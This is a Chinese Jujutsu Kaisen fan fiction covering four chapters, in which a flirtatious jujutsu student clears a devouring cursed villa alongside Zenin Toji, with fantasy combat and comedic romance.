《开局强吻天与暴君》
1. No.1
窗户在月光下投出斑驳的暗影,空气中弥漫着硝烟、焦土的味道。
曾经光洁如镜的大理石地面此刻布满裂痕,咒力的余烬在裂缝中闪烁着微弱光芒,如同濒死繁星的最后喘息。
深邃夜空中,几颗疏星冷漠地俯瞰着这片狼藉——忽的煽动了一下。
“欸……还没死吗?真是顽强的生命力啊,我都要感动得掉两滴眼泪了呢。”
被血液模糊了眼睛的男人,所见到的并非星辰,而是眼前女生的眼睛——如星空般闪耀璀璨,却也如其般淡漠无垠。
“你……”伤及肺部,每吐出一个字都会带来极大的疼痛感,男人拼命忍耐,为自己的生命做出最后辩解,
“你是高专的学生吧?学校知道你做这些事吗!?”
女生歪了歪头。及颌的紫色短发一部分贴合着脸颊,微微上翘的发尾与勾起的唇角相连。
那把比女生还要高出一头的巨型镰刀武器被轻松扛在肩上,呈月牙状的刀刃泛着寒光。
女生伸出食指轻点在下唇上,仿佛对男人的话感到费解。
“那又怎么样?反正你死了后,就没有人知道了吧?”
——恶魔。
眼前的女生,绝对是个恶魔。
这栋房子里除他以外的所有人,全部都死了。
这是正派的做法吗?
高专里的老师们都教了些什么啊!
可恶……
他不该一时贪心接下这个任务的。
高高举起的镰刀上,一面映出藤原祥绝望地脸,一面映出女生愉悦的笑容。
生死攸关之际,藤原祥忽然走了神。
啊……还想再吃一口妈妈做的玉子烧啊。
在外面打拼那么多年,果然还是妈妈做的最好吃……
——镰刀霍然挥下。
*
藤原祥是一名诅咒师。
入行十三年,从业契机是因为看不惯这个歧视异类的*蛋世界。
话虽如此,他都没有杀过人。撑死会用咒力偶尔捉弄一下欺负过他的普通人,或者接一下轻扫凶宅的活。
但七天前,他忽然收到一份匿名邮件。
——x月x日,东京x区x号,祓除三层诅咒,赏金三千万日元。
这种玩意一看就是骗人的,当他三岁小孩吗?
藤原祥想都没想就把短信删除了。
时间来到第二天,他起床后发现自己手机竟然又收到一条一模一样的短信,不仅如此,银行卡里也多出了备注为定金的三百万日元。
奇怪,太奇怪了吧!
什么样的冤大头会花这么多钱找他这样的诅咒师啊?
其实还蛮有自知之明的藤原祥如是想到。
号码不出意外的无法联络,实在没有头绪,藤原祥只好找到之前认识的诅咒师前辈。
——那个啊,我也收到了。据说是某个氏族不小心放出来的诅咒,为了掩人耳目才找到我们这些人。
原来是这样啊。
藤原祥稍微安心了一些,但转念一想——三千万的诅咒,那该是什么样的大家伙?
还是算了,过段时间就是妈妈的生日,他还要回老家呢。
说起来,妈妈的生日礼物选什么好呢?
藤原祥看着卡里显示的余额——三百零一万五千八百二十五。
除去三百万定金,只有一万五千八百二十五。
啊,忘记了。
他——是个穷*啊。
诅咒师这一行,只能维持基本生存,很多时候想多吃一口饭都做不到。
想到临来东京前,自己对妈妈许下一定要作出一番成绩的承诺,藤原祥咬咬牙,做下决定——去看看吧,实在打不过,就拿着定金临阵脱逃!
抱着这样的想法,藤原祥于今天傍晚来到了目的地。
诅咒师出乎意料的多,大概有二十几人的样子,其中一些人是藤原祥的熟人,还有一些看起来就很‘新人’的家伙。
有熟人在,藤原祥松了口气,而且这个任务似乎并不像他想象中那么难。
三层别墅,一层和二层只有零星几个低级咒灵,藤原祥还没看清,就被前排的人除掉了。
没准他这次是真的撞大运了。
与众人齐聚在三楼楼梯口的藤原祥想。
等任务结束,给妈妈买一条金项链吧。
“喂、你——?!”
走神的藤原祥被队伍忽然发出的骚动唤回现实。
“怎、怎么了?”
站在藤原祥前面的是一个身高足足有两米的壮汉,挡住了全部视线。藤原祥左摇右晃试图避开他看到前面发生了什么,却听‘噗嗤’一声。
——尖锐刀刃停在了距离维持左探头姿势的藤原祥鼻尖不足五公分的位置。
什么……?
在藤原祥呆愣的视线中,刀刃向上一挑,壮汉的身体软趴趴倒下。
出现在他面前的,是一位身穿校服、手握巨镰的女生。
女生拥有一张明媚而精致的小脸,金色的瞳孔在黑暗中散发着异样的光芒。
她柔软的粉唇一张一合,清脆悦耳的声音落入耳朵里,拼凑成死神的杀人预告——
“轮到你咯。”
*
‘轰——’
想象中的疼痛并没有到来,藤原祥睁开眼,只见原本伫立在他面前的女生已然消失无踪,而右侧的墙壁也被不知何物击碎,出现了一个大洞。
他……活下来了?
不论如何,要快点逃离这里。
藤原祥捂着胸口的伤想。
也许是不想死的想法过于浓烈,他竟然觉得伤口没有那么痛了。
藤原祥撑着墙壁,一瘸一拐的朝外面走去。
就在他的身影消失那刻,隔壁房间的落石堆中,猛然伸出一只手——
霞岛星紘从石堆里站了起来,表情幽幽。
她伸出拇指抹在脸上被碎石划伤流血的地方,眨眼间,伤口便消失不见了。
霞岛星紘转了转手腕,发现镰刀的刀刃部分也出现了些许裂纹——刚才那一击来得突然,若非身体本能的抬起手挡下,现在该裂开的就是她了。
淡蓝色咒力附加在刀刃上缓慢修复着,霞岛星紘眯起眼睛,试图感知攻击者的位置。
一无所获。
除了那个还在拼命逃跑的男人和她……
别墅里,感知不到那个人的存在。
“是强者啊……”霞岛星紘喃喃。
能明显感觉到对方的攻击目标并非自己,可即便如此,还能将她打飞,咒具也受到不小的伤害——这把镰刀可是特级咒具呢。
“有趣。”霞岛星紘露出笑容。
比起那些菜的要命的家伙,这样的人更为这场无聊的救赎游戏增添了一丝乐趣。
霞岛星紘从石堆上跳下,轻盈落地。
她哼着小曲,脚步悠闲的朝着三楼楼梯口走去。
那位强者的目标会是什么呢。真期待啊。
这么想着的霞岛星紘,站定在靠近楼梯口、紧闭的大门前。
门内依旧感受不到任何气息。
纤细手指轻抚在门把手上,在按下去的那一瞬间,一股强劲且霸道的刀气扑面而来。
‘噹——’
尘土自碰撞点迸射,如被无形之手掀起的沙幕,掩盖住了一切。
尘埃落定,门外却已不见了霞岛星紘的身影,只有矗立于地面的镰刀,发出尖锐刺耳的悲鸣。
一道破风声自屋内响起。
“找到你了~”
以镰刀做诱饵,促使对方出手以捕捉攻击方向的霞岛星紘出现在男人身后,她手中是一把刀体赤红的胁差,漆黑刀刃距离男人的脖颈只差几毫米。
但也可以表示为,还有几毫米。
男人抬手,头也没回,便轻松将霞岛星紘的攻击挡下。
“哈……”
霞岛星紘皱着眉,嘴角的弧度却越来越大。她一个旋身,调转胁差方向朝对方腹部刺去,但男人早有预判,长刀猛的下压,刀刃如千钧重负般撞在胁差中段——
拼力气
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,好像不太行。
霞岛星紘盯着无法控制住颤抖的右手眨了眨眼。
她没有犹豫,立刻抽出胁差,向后一跃,同时手指灵活一转,胁差被替换成一根灰色绳索。
“我都已经出现在你面前了,还不使用咒力……是不是有点太不礼貌了,这位先生?”
绳索宛如灵蛇一般,朝着男人迅猛地扑来。男人微微侧头,那粗壮而有力的手指精准地捏住绳索,恰似捏住了蛇的七寸,让绳索在眼前定格,无法再挪动分毫。
霞岛星紘粉唇轻抿,口中发出‘啵’的一声。
下一秒,绳索猛地炸开,沉闷却又极具冲击力的声响下,它并未就此消散,而是分裂成了更细、更多的绳索,打远看像是眼镜王蛇骤然膨胀的颈部,从四面八方迅速地朝着男人涌去,很快便将对方整个包裹住。
结束了。
这看似不起眼的绳索在普通形态下能够将两端的一切进行绑定,无论□□灵魂,而二阶段则会在三分钟内将包裹住的东西全部溶解——就算用刀也无法破开束缚。
霞岛星紘轻哼一声,“如果不是眼镜被那个踩坏,我还真想看看你究竟长什么样子。”
她打个响指,门口的镰刀如同宠物听到了召唤,火速向她飞来,不断用棍棒那边蹭着她的手臂。
“别哭了,不就是碎一下嘛,我会把你修好——”
话音未落,霞岛星紘的神情闪过一丝惊愕,紧接着,便是被人掐住脖颈、整个人狠狠砸向地板的剧痛。
“唔!”
——这家伙…什么时候?!
男人的身后,绳索已经变成了渣,如同灰尘般在空气中飘荡。
霞岛星紘迅速反应过来,拳头锤向男人的脸,同时猛地将腿高抬,攻向他的下/身。
男人一只手掐着她的脖子,一只手按着她的膝盖用力一压——至于砸向脸的拳头,他根本躲都没躲,甚至头都没有动一下。
反倒是霞岛星紘一通折腾下来,喷涌而出的血液压着大部分睫毛,盖住了视线。
男人却只是衣角微脏。
这人……到底是谁啊!?
也不说话,装什么大尾巴狼?
霞岛星紘不爽,十分不爽。
她凶巴巴的朝对方吐出一口血沫,流出的血渍被咒力覆盖干涸,视线在此刻忽然清晰——
霞岛星紘的瞳孔一瞬间放大。
将她压在身/下的男人有着一头黑发,眼神与其说凶狠,不如说透着一种漫不经心的傲慢。
“禅院……甚尔。”
霞岛星紘盯着他唇角的疤,呢喃出他的名字。
怪不得感受不到咒力,还以为是用了什么咒具隐藏——
对方是天与咒缚啊。
是……甚尔啊。
放弃抵抗了么。
身/下的挣扎感减弱,禅院甚尔想。
穿着校服……打晕丢一边吧,省的麻烦。
禅院甚尔手指微动——
“等一下!”女生忽然开口。
她抓住甚尔的手指——因为女生的手太小,无法握住一整只手。
“我是……霞岛星紘。”
“我输了,任凭你处置。”
“但在那之前……”她稍稍提高了音量。
禅院甚尔垂眸,视线扫过女生因为缺氧而涨红的脸。
不知道是不是错觉,好像比刚才更红。
他明明没用力了。
女生嘴唇抖动了一下。
使用术式了啊。禅院甚尔感觉自己被稍微限制了行动——解开也不算太费力的那种。
还想挣扎么——
“请先和我接吻吧!!”
女生的声音与脑内想法一同出现的瞬间,一股蛮力忽然撞上禅院甚尔的嘴唇——太过用力,能明显感受到对方因为疼痛瑟缩了距离,但紧接着又不懈的含了上来。
没有任何技巧,像是幼猫咬着不合年龄的食物。
急切,但死活吃不进去。
禅院甚尔:……
禅院甚尔:?
2. No.2
被比诅咒还要缠人的家伙缠上了。
推开一扇新的门,顺便躲开再一次凑过来的女生的脸。
禅院甚尔想。
“理理我啊,甚尔。”
因为骨折,现在是用咒力包裹着自己双腿的悬浮模式。霞岛星紘像只紫色的小幽灵,绕着男人转圈。
“都已经亲亲了,干脆尝试一下更刺激的事嘛,不用担心隐私哦,我可以展开领域的。”
“我对小鬼没兴趣。”甚尔瞥了眼屋内的设施,转身又去开下一扇门。
“是在保护我吗,真贴心,但我已经成年了。”霞岛星紘金灿灿的眼眸里倒影出男人的脸——和对方下唇上即将愈合的伤口。
她下意识伸出舌尖舔了舔唇,尚存的触感与温度令笑容逐渐扩大。
“我的咒具可以全部给甚尔用哦~”
听到这话,飘在后面、将绳索当成绷带缠起刀刃的镰刀用棍部用力地锤了两下地面,以此来表达不满。
有自己思想的咒具么……倒是稀奇。
不过。
“我对主动的女人没兴趣。”
甚尔的目标十分明确——传说中能收纳万物的咒灵。
他正好缺一个武器袋。
至于为什么会留霞岛星紘在身边——又不是什么被亲一下就害羞的要动手的毛头小子,而且,有对付她的时间,他早就拿到目标物离开了。
接连被拒绝,霞岛星紘也不恼,笑眯眯接话:“是呢是呢,说起来,天与咒缚的话,体力很好吧,的确不需要我主动,甚尔一个人就能让我……”
禅院甚尔握住霞岛星紘的脸,打断了她的危险发言。
进入别墅之前,禅院甚尔从外侧观察,这栋房子每层只有六个房间。
在他面前的,是一扇看起来与之前无异的门。
但,这是这层楼的第七个房间。
“很危险哦,里面。”霞岛星紘扒下禅院甚尔的手,顺着视线看向漆红色大门,“不过,再让我亲一下的话,我会……啊,真是个急性子呢。”
盯着男人消失的位置,霞岛星紘卷起鬓边的头发,在食指上绕了两圈。
“不爱理人这点也很迷人,对吧?”
镰刀:噹噹噹噹噹噹!
“嗯嗯,就当你夸他了。”霞岛星紘点头,“那么,时间也耽误够久了,我们也继续任务吧。”
镰刀:噹。
*
逃不出去。
无论往哪个方向逃,走出大门或者从窗户跳出去,都会重新回到大厅。
藤原祥脸色煞白,他靠在墙边,眼底是对未知与无法逃离的深深恐惧。
没有咒力的气息……他并不是被关在诅咒的领域里,但就是无法出去。
这样下去,在被那个疯子杀死前,他估计会流血而亡吧?
藤原祥苦笑着,抬起一直捂着伤口的手,却惊讶地发现上面的血渍已经接近褐棕色,那是血液干涸的颜色。
是了,刚刚一直一门心思的逃跑,他根本没有察觉到伤口早就不痛了。
——这栋房子,到底怎么回事?
——他,又是怎么回事?
哒,哒,哒。
空旷寂静的大厅里,忽然响起熟悉的高跟鞋声音。
是她——!!
藤原祥猛地捂住嘴,呼吸在恐惧下变得粗重。
冷静……要先躲起来,这里房间很多,她一时半会不会发现的。
藤原祥缓慢且安静的在地上爬动——他不敢起身,怕脚步声惊扰了那个疯子。
哒,哒,哒。
高跟鞋的声音总是保持在不近不远的距离,仿佛戏弄老鼠的猫咪。
藤原祥的心脏在胸腔里疯狂跳动,每一声“哒”都像重锤敲在他脆弱的神经上。他的视线死死盯着前方一扇半掩的房门,那仿佛是黑暗中唯一的希望。
他艰难地爬到门前,颤抖着双手推开房门,闪身躲了进去。
房间里弥漫着一股陈旧的霉味,窗户透进的微弱月光让屋内的一切都显得影影绰绰。藤原祥背靠着门,大气都不敢出,侧耳倾听着外面的动静。
高跟鞋的声音似乎在门外停住了,空气仿佛凝固了一般,每一秒都像是一个世纪那么漫长。
藤原祥感觉自己的头皮发麻,冷汗不停地从额头冒出。他强迫自己镇定下来,目光在房间里扫视,寻找着其他可以藏身的地方。
角落里的一个旧衣柜映入他的视线。
他猫着腰,小心翼翼地朝衣柜走去,每一步都尽量不发出声响。
噹、噹。
高跟鞋的声音又响了起来,藤原祥的心瞬间提到了嗓子眼,他慌乱地打开衣柜门——
只见一个身穿紫黑色校服的女生,正蜷缩在衣柜里注视着他。
对方的脖子呈人类无法达到的九十度,眼神空洞而疯狂,嘴角挂着一抹扭曲的笑容。
“找、到、你、了。”
“啊——!!!!!!”
藤原祥的惨叫响彻整栋别墅。
“这就晕了啊……”
霞岛星紘从柜子里出来,蹲下身,戳了戳藤原祥的脸颊。
“真是无聊。”
镰刀:噹噹噹噹——
“谁叫他要破坏我的眼镜,还让我一顿好找,活该咯。”
藤原祥好歹也是诅咒师,抗吓能力虽然不强,却也高于普通人。
当他意识逐渐恢复,听到的便是这样的一句话。
眼镜……吗。
藤原祥努力回忆着,思绪飘回到了逃亡的时刻。
那时的他如同一只惊弓之鸟,在狭窄而又昏暗的走廊里拼命逃窜,脚步慌乱而急促,好像的确是踩到了什么东西,当时的他并没有在意,只是一心想着赶紧远离这个危险的家伙。
但只因为这个就要追杀他吗?
好过分……
“欸……这个家伙真的晕倒了吗?怎么掉眼泪了?”微凉的手放在脖子上,不出意外的话是动脉的位置,还被狠狠地按了一下,“装晕的话,杀了你哦?”
藤原祥猛地从地上一跃而起,他一边流着宽面条似的眼泪一边痛诉:“我刚才真的晕倒了啊!”
“想要我的道歉吗?”
藤原祥一愣,“啊,这是可以的吗?”
霞岛星紘缓缓抽出胁差,那把锋利的刀在昏暗的光线下闪烁着冰冷寒光。
“嗯,抱歉,你要死了。”
藤原祥哭的更凶了。
霞岛星紘嫌弃的咧嘴,顺
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便用校服外套擦着刚才触碰过他的指尖,“真是不明白你这样胆小又不禁吓的人是怎么成为诅咒师的,我可是正经的高专学生,随意杀人这种事,怎么可能呢。”
“骗人!你明明杀了那么多人!”藤原祥吼道。
“啊……你说那些啊,”
霞岛星紘恍然大悟,她点点自己的脸,眼神中透露出一丝嘲弄。
“那些早就不是人类了哦……”
“……什么?”
藤原祥顿在原地,眼泪挂在脸上的样子十分滑稽。
霞岛星紘眼眸重新弯成新月模样,笑意如同涟漪般在眼底荡漾开来,可他硬是从之中看出了一丝悲悯。
“我是说……从你们被骗进别墅的那一刻起,就已经全部死翘翘了哦。”
胁差猛地插/入大动脉,藤原祥反驳的话被喷涌而出的血液阻碍。
彻底失去意识前,他仿佛听到了一缕叹息。
*
一天前。
东京都立咒术高等专门学校。
“开学就要升入四年级了啊,霞岛,在那之前,先把三年级尾端的工作完成了吧。”班主任北原修一站在讲台上,他一手夹着烟,一手丢过来一份报告,表情谈不上严肃,但有一种加班的淡淡的死感:“那些家伙…他们搞出来的烂摊子,你看着收拾吧。”
“是要我把他们全部杀光的意思吗?”霞岛星紘笑着问。
北原修一弹掉烟灰:“这种容易掉脑袋的话,别和我说。总之,对方提供的资料只有【吞噬万物】这四个字,具体的……到场后随机应变。”
“好不负责任哦,我这样的特级死掉没关系吗?”
“要是被这种玩意弄死,你也该重新进行等级评定了。”
这种玩意……
指的是将整栋别墅当成根据地,吞噬掉所有进入的不论死物或活物,获得对方的能力与咒力,不断进化,短短三十分钟内就在霞岛星紘眼前从二级升为一级——的诅咒吗?
啊,怪不得派她来。
霞岛星紘百无聊赖的踢开脚边的尸体。
这样完好无损,甚至看起来还新鲜的尸体,庭院里一共有一百五十七具,根据残秽来看,都是一些拥有咒力的人。
像这样大规模发生死亡事件,除了人为,没有第二种可能。
也就是说,在她抵达之前不久,还有人在喂养这个诅咒。
而且,她观察了一圈——从外部是无法祓除这个诅咒的。
想要解决,就意味着要被吞噬进去。
“我是不是也被当成食物了啊……”霞岛星紘喃喃,“果然还是应该把他们全部杀光。”
嘴上这么说着,她走进去的动作倒是没有一点犹豫。
推开沉重的大门。
霞岛星紘短暂的沉默了片刻。
在她面前的是犹如大拍卖会场般人山人海的画面——有几个张牙舞爪朝她扑来的‘人’的尸体,刚才还在外面被霞岛星紘踹了几脚。
“哈……原来是在养蛊啊。”
霞岛星紘看着天花板叹了口气。
淡蓝色的咒力在空气中凝结出一道大约半米长的缺口,她伸手,从缺口中取自己的咒具镰刀。
“开始干活了哦,渡月。”
3. No.3
禅院甚尔视线扫过周围。
映入眼帘的是一座错综复杂的迷宫,像是一张巨大的蜘蛛网,向四面八方延伸开去。
通道中弥漫着一层薄薄的雾气,男人踏进来的那一刻,雾气像是嗅到血腥味的蝗虫,争先恐后的侵入裸/露的皮肤中。
血液在被吸食着。
但对禅院甚尔来说,不过是被蚊子咬了一口的事。
他晃晃脖子,手中的长刀一挥——四周墙壁仿佛有意识在阻止他般聚集起来,却也只是螳臂当车。
墙壁如脆弱的纸糊之物轰然破碎,化作无数碎片簌簌落下。
雾气被这突如其来的冲击扰动,翻涌、飘散。
禅院甚尔的身影在逐渐清晰的环境中显得愈发冷峻。
释魂刀能够无视一切硬度,直斩灵魂,是他前段时间刚弄到手的武器。
这把刀威力太大,极大可能会不小心直接将能【吞噬万物】的咒灵一分为二。为避免此种情况,踏入别墅后,禅院甚尔的所有行动皆有所收敛,未使出全力。
不过,现在的情况稍稍有些不同。
被释魂刀劈出一条笔直路的迷宫正中央,展露出一个犹如婴孩般瑟缩于子宫形状容器中的咒灵。
周围无数条‘血管’相连,源源不断输送着营养——正是困在别墅中的‘人类’。
脚下,是眼前咒灵的简易领域。
禅院甚尔脑子转的很快,他垂眸不过片刻,便明白了事情大概。
简单来说,这块地方一共有两个咒灵。
A为武器袋咒灵,也就是别墅本身。它的作用是吞噬与储存。
B为婴孩咒灵,它主要负责消化与成长。
B存在于A体内,A为B提供食物——大多数人先入为主的以为,B是目标咒灵,但实际上他们自始至终面对的只有A。
正常情况下,无法直接进入B所存在的领域,或者说,进入的人甚至无法离开A,只会在漫长的时间中成为B的饲料。
如果强行闯入,大概率会触发领域规则。
就像现在这样——
‘轰隆隆’
巨响在空间里震荡开来。
空气中瞬间弥漫起一股紧张的气息。
容器中的婴儿仿佛被吵到了。
它眉眼紧紧皱着,看似与寻常婴儿无异,嘴部却是如同兔子一样的三瓣唇,几根细长弯曲的口器从中间伸出,四处摸索着,再触碰到容器后,‘啪’的吸附上去。
猩红的眼睛在口器末端缓缓睁开,透过透明容器,死死盯着禅院甚尔。
迷雾开始聚集。
“啊————”
婴儿发出一声尖锐刺耳的嘶鸣。
禅院甚尔侧头,迷雾集成的风刃擦着他的脸颊,在身后无限延展的地板上划出一道长长的痕迹。
上级咒灵么……
在这种紧张的时刻,禅院甚尔显得有些过于从容了。
他随手又挡下一击,舌尖顶了顶腮,目光虽然朝向咒灵,手却忽然抓向腰间那自认为藏得还不错的绳索残渣。
手臂上的青筋如盘踞的藤蔓凸起——漆黑无垠的空中突兀的出现一道紫色身影,而透明的绳索也在此刻现了形,另一端刚好缠在那道身影的腰间。
‘砰’的一声,身影被拽落,掀起一阵尘土。
霞岛星紘借着镰刀卸力,平稳站定。
她慌乱的咬了咬唇,问:“什么时候发现的?”
“第七个房间出现的时候?”禅院甚尔挑眉。
霞岛星紘其实并没有刻意引导禅院甚尔去发现第七个房间,也可以说,无论那时候他的下一步准备做什么,都会进入这里。
因为霞岛星紘的领域自始至终都没有关上过——她在三层用控制空间的能力打开了无数个通往B领域的通道。
全部都是为了让禅院甚尔出现在这里。而他之所以会发现,是因为天与咒缚带来的感官强化让他能够清楚地看到霞岛星紘使用咒力留下的印记。
至于原因…禅院甚尔懒得问。
他调转刀刃方向,对上霞岛星紘金色的瞳孔。
“说吧,遗言是什么。”
“既然被你发现了……”
霞岛星紘手握镰刀渡月,眼底闪过一丝决绝——
“那就没办法了。”
*
藤原祥还以为自己死定了。
他望着在夜空中飞过去的直升机,心里最后一块石头也终于落了地。
——天堂总不会有这么高科技的东西吧?
“但这到底是怎么回事……”藤原祥摸着自己的脖子,问向坐在一旁抽烟的前辈,“是梦吗?”
前辈看着他,表情一言难尽:“阿祥啊,你还是和我一样去卖鱼吧,诅咒师这一行不适合你。”
“好过分啊前辈!我这人其实一点就通的,但是你要点我啊!”
前辈吐出一口烟,道:“我们被救了。”
“这不是事实吗?”
前辈一记眼刀。
“好的,我闭嘴。”
藤原祥捏着手指在嘴边做了一个拉上拉链的动作。
“…简单来说呢,把我们骗过来的家伙,用了某种不知名的咒术,将我们的灵魂与□□分离,这么做的具体原因未知。高专的那个女生,通过‘杀死’我们的方式,又把这两个玩意粘合在一起了。”前辈的视线扫过庭院里或昏迷或清醒的几十人。
“没有醒来的人,大概率是醒不过来了。”
藤原祥张张嘴:“哇……好废话的废话啊前辈。”
“……那是人家的咒术,我又不是肚子里的蛔虫,怎么可能什么都知道啊!!”
前辈愤起,一拳打在藤原祥的脑袋上。
*
“呜啊对不起甚尔、甚尔————”霞岛星紘丢掉渡月,踮起脚尖,猛地扑进禅院甚尔怀里,用力将脸埋在他胸口,被胸肌压扁的脸颊吐出含糊不清又可怜巴巴的词句,“因为我救了太多人咒力要用完了,根本打不过这个东西才想出这种招的对不起啊——”
禅院甚尔:“……”
禅院甚尔:“起来。”
“不要啊啊甚尔肯定不开心了呜,但我觉得这种事要是直接告诉你拜托你你肯定会讲——”霞岛星紘正色了一秒,学着禅院甚尔的语气道:“‘和我有什么关系’。”
然后下一秒又恢复了哭唧唧的模样继续哀嚎:“虽然以前许愿时说过能遇到甚尔的话我什么都愿意做,但是第一次遇到你我就要死了那也太惨了啊呜呜啊……”
紧紧抱住他的霞岛星紘,也不知道是真哭,还是只是在占便宜。
反正眼泪不偏不倚的全部抹在了他胸上,背后的手也在腰窝上乱摸。
禅院甚尔边挥着释魂刀挡下咒灵不断攻击边想。
“别不理我……”霞岛星紘抬起头,虽然下巴还是舍不得离开胸肌一步,“拜托拜托。”
她眨着眼睛,璀璨的金色瞳孔里满是他的倒影。
这是禅院甚尔第一次正视她的眼睛。
虽说他平时的做派看起来不拘小节,其实洞察人心的能力也是上
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等。
不像说谎的样子。
两只眼睛里,一边写着单纯,另一边写着好骗。
“甚尔、甚尔甚尔甚尔——”霞岛星紘还在喋喋不休,“帮帮我嘛。”
禅院甚尔忽然笑了一声。
这不是送上门得猎(冤)物(大)吗(头)。
他忽地低头,缩短两人的距离至鼻尖相碰。
“我是赏金猎人,只要钱到位,帮你也不是不行。”
“…真的?”
“价格可不便宜,你确定能付得起么?”
霞岛星紘似乎思索了一下,随即在他唇边落下一个轻轻的吻,又快速分开。
她认真的捧起禅院甚尔的脸:“说什么呢,我们甚尔当然是无价的啊!”
“…?”
她朝身后勾勾手指,镰刀乖巧的从空中划出一道痕迹——并从里面挑出一张银行卡丢了过来。
“这是我的工资卡,距离无价还有些距离,但买几个咒具玩玩还是没问题的。”
霞岛星紘指着他价值五个亿的释魂刀,郑重其事的把银行卡放进甚尔手心。
毕竟特级,除了学校发的工资,她也经常会做些兼职,坑坑那些老东西的钱。
“全部都给甚尔哦,我还会继续赚更多更多的钱。嗯,没错,甚尔就是要配最好的!”
“……”
说实话,禅院甚尔并不擅长应对这样的人——自说自话,仿佛沉浸在自己的世界。
他和她谈交易,她却对他用感情。
况且从小到大,禅院甚尔身处的环境与接触到的人,都不会有如此外放易懂的情绪。
不解。
想不通,也不明白。
不过到手的钱哪有让它跑掉的道理,禅院甚尔避开她的手指,捏住那张在他手里看起来小的可怜的卡片。
“现在开始,不想咬到舌头就把嘴巴闭严。”他说。
“欸什么,要舌吻……”
霞岛星紘话没说完,忽然感觉自己脚下一空。
周围的风景已经不再拘泥于墙壁雾气之间,他们来到了视野更加宽阔的空中。
瞬间失去两人踪迹的迷雾反应过来争先恐后朝上方袭去。
禅院甚尔单手抱着霞岛星紘,明明滞空是最不好改变姿态与进行防御的时机,但他的表情却云淡风轻好似并未不在意。
霞岛星紘仰头,男人的侧颜距离很近,她是个十足的近视眼,只能勉强分辨五官的位置。
不过…这也足够了!
霞岛星紘的视线过于热烈,禅院甚尔想忽视都做不到。
“收起那些想法,我不和小孩做身/体/交/易。”他睨了女生一眼。
“耶!太好啦,我不是小孩!”关注永远都偏离重点的霞岛星紘欢呼,她攀着禅院甚尔的肩膀,在他唇角像小鸡啄米一样啵啵了几口,“甚尔超——帅气的!”
禅院甚尔——竟荒谬的有些习以为常了。他拿着刀的手向下一压,借着刀与风刃相对的力,顺势一跃而起,远超人类极限的弹跳力令他几乎是眨眼间便抵达了婴儿面前。
虽然和预期有些差距,禅院甚尔原本只是想要个武器袋罢了。
但拿钱干活。
他活动筋骨,霞岛星紘原本乖乖站在旁边,但看着蓄势待发的甚尔,她不知道想到了什么,忽然掏出胁差——
“好!接下来让它瞧瞧我们夫妻之间热血沸腾的组合技——!!”
“?”
禅院甚尔沉默着揪住霞岛星紘的衣领,将人扔到了身后。
4. No.4
天空下起了小雨。
微凉的甘露滋润着化为废墟的别墅,已经分辨不出大厅或是房间的露天场地中,蹲在地上的霞岛星紘好奇的戳了戳在地上团成一团装死的肉球。
“这就是能【吞噬万物】的咒灵啊,好像毛毛虫。”
按道理,这类有研究和使用价值的咒灵应该上交。
这是不会被明确标注,却所有人都知道的事,但是……
“甚尔想要吧?给——”她捧起毛毛虫,递到禅院甚尔面前,弯起眉眼,“我还是很有眼力见的哦。”
禅院甚尔在女生邀功似的的注视下,沉默了几秒,然后将武器收了起来。
霞岛星紘察觉到他的动作,表情有一瞬间迟疑:“甚尔……刚才不会想砍我吧?”
“猜对了。”
男人勾勾唇角,有股恶趣味的意味存在。
霞岛星紘震惊的后退一步。
透过雨幕,禅院甚尔观察着女生的神情。
“好过分!竟然不相信我……高专算什么,高层又算什么!我从始至终都是完完全全的甚尔派诶,”她鼓起脸颊,像娇嗔,像撒娇,就是不像生气。
“我决定——惩罚你亲我一下。”
“……”
确定了,就是没生气。
被他用武器指着也好,被他玩弄似的逗趣也罢。明明都已经察觉到了,却还是扬起笑脸——
她是哪里来的没脾气的河豚吗?
“好吧好吧,这个惩罚太重了,那就换我亲甚尔吧。”
霞岛星紘无比熟练的撑着禅院甚尔的手臂,踮起脚尖——却扑了个空。
雨水顺着男人柔顺的发丝滴落,他侧过身,朝霞岛星紘扬了扬手。
“交易结束,走了。”
“欸……”
男人的步伐很快,并非有意,似乎只是习惯了这样。
偏偏此时雨势愈发猛烈,在瓢泼大雨的笼罩下,霞岛星紘连对方的背影都难以看清。
“渡月……”她的声音有些萎靡。
镰刀跳到她身边,安慰性的蹭了蹭。
“我……”
霞岛星紘抬手抹掉眼前雨水,重新睁开的眼睛犹如破云之日闪耀。
“要不去做个视力矫正吧?”
不然岂不是连目送甚尔都做不到吗!太可惜了。
镰刀:噹噹噹噹——
“说什么呢,连杀气都没有,怎么会是真的想杀我。我们小情侣是这样的,情趣哦。”
镰刀:噹……
“单方面的情侣怎么不叫情侣!再说了我们可是亲亲过的关系诶……”
镰刀:噹噹?噹!!
“好好,别操心了。我……”她忽然顿了顿,眼底闪现过一丝迷惘。
等等……现在来这一套?
霞岛星紘扶住额头,试图缓解脑袋里那股眩晕感。
雨没有变小的迹象。
校服已经被浸透了,宽松的衣服黏黏糊糊贴在身上,潮湿悄声无息蔓延,扣到最顶部的纽扣如同绳索般束缚着呼吸。
血又顺着额头流下来了。
周围的一切开始变得模糊而诡异。
原本正在滴落的雨滴仿佛被按下了暂停键,停滞在半空中,如晶莹剔透的水晶,悬在她身侧,形成了一道密密麻麻的屏障。维持了大约十秒,又像开了加速键,哗啦啦猛的砸在地面上。
霞岛星紘抬头露出一个惨兮兮的笑:“渡月,你能把我带回学校的吧?”
毕竟,这里可是郊区啊……
最后一个字在脑海里闪过的瞬间,霞岛星紘彻底失去了意识。
镰刀:!
镰刀:!!!?!!!
它在地上乱蹦,无奈自己没有手,只能急的团团转。
偏偏这时,一阵陌生的气息逼近。
镰刀顾不上其他,立刻挡在晕倒的女生面前,亮出锋利的刀刃。
“怎么,想看你的主人留在这淋雨么?”
去而复返的禅院甚尔看着对自己敌意满满的武器,声音透过雨幕传来。
镰刀并未退让。
和武器说话,真是有点蠢。
禅院甚尔想。
“放心吧,”他扬了扬手中的卡,“算这里面。”
说罢禅院甚尔也不去管镰刀的反应,直接将人扛在了肩上。
噹!镰刀跑到面前又是一敲,接着自己扭动起来,在地上写下歪七扭八的字——
‘抱着’。
“别得寸进尺啊。”
禅院甚尔无语。
*
陌生的天花板。
总之,应该是被救了。
衣服也完好无损——甚至还被披上了超大的外套。
霞岛星紘眨了眨眼睛,想起身,但身体还是软绵绵的提不起力气,连扭头都做不到,只能被迫在清醒意识中数着天花板的纹路。
……审美好差,谁会选择水波纹的天花板啊。
她默默的想。
倒不是没想到自己会出现能力使用过度而晕倒这种情况,毕竟救下了九十五人,即使对她来说有些超出极限了。
